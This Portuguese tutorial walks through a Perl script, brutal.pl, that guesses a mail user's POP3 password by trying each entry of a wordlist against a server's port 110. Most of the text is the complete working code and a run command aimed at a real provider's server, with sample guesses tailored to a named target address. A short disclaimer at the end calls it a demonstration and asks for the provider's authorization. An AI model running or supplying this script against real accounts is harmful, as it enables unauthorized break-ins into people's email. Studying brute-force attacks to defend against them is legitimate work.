O objetivo do brutal.pl é tentar adivinhar a senha de um usuário de determinado servidor de email. O programa receberá um arquivo com uma lista de senhas chutadas e tentará se conectar ao servidor usando cada uma delas.
Para começar, vamos analisar quais informações serão necessárias ao script. Precisamos saber qual é o servidor de email, o usuário-alvo e caminho para o arquivo com as senhas chutadas. Mas que diabos é este arquivo de senhas chutadas ? Simples, se conheço o usuário joaozinho@bol.com.br e sei que ele adora uma purinha, sua senha deve ser algo parecido com algum tipo ou nome de bebida, assim posso criar um arquivo de senhas chutadas na seguinte forma:
cachaça
pinga
caninha51
martini
vodka
conhaque
...
Você também pode automatizar o processo de criação do arquivo de senhas chutadas através do comando
mkpasswd.
A primeira etapa de nosso programa será capturar as informações necessárias ou abortar a execução caso faltem argumentos. No bloco abaixo, executaremos,respectivamente:
- carregar módulos
- verificar a quantidade de parâmetros recebidos
- atribuir parâmetros à variáveis
- verificar se arquivo de senhas existe
#!/usr/bin/perl
# vamos carregar os módulos usados pelo script
use strict;
use IO::Socket;
if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nOnde:\n";
print "\tpopserver = servidor de email\n\tusername = nome do usuário\n";
print "\tpasswd_list = arquivo com a lista de senhas que serão enviadas para teste\n\n";
exit(0);
}
# atribua os parâmetros à variáveis
my ($server,$user,$pwfile) = @ARGV;
if (! -f $pwfile) {
print "Erro: $pwfile não é um nome de arquivo válido!\n";
exit;
}
Em seguida abriremos o arquivo de senhas para leitura e, para cada senha encontrada, executaremos o procedimento de tentativa de login:
# para cada senha, tente invadir
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);
Abaixo as funções tryout e readsock:
sub tryout {
my ($server,$user,$passwd) = @_;
my $state;
my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);
if (!defined($connex)) {
print "Erro ao conectar ao servidor $server ...\n";
exit(0);
}
$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);
if ($state =~ /^\+OK/) {
print "Cracked!!! A senha do usuário $user é $passwd\n";
exit;
}
$connex -> close;
sleep(5);
}
sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}
Clique aqui para fazer o download do código completo do script comentado no artigo.
Para executar o programa, utilize a seguinte sintaxe:
perl brutal.pl pop.uol.com.br usuario-alvo caminho/arquivo/senhas.txtEsse programa é apenas uma demonstração das técnicas utilizadas em ataques por força bruta. Um dos principais programas da categoria é o
John The Ripper, usado para quebra de senhas criptografadas em servidores UNIX.
Não utilizem este programa sem a autorização prévia de seu provedor Internet.
Atenciosamente,
Fábio Berbert de Paula
fabio@vivaolinux.com.br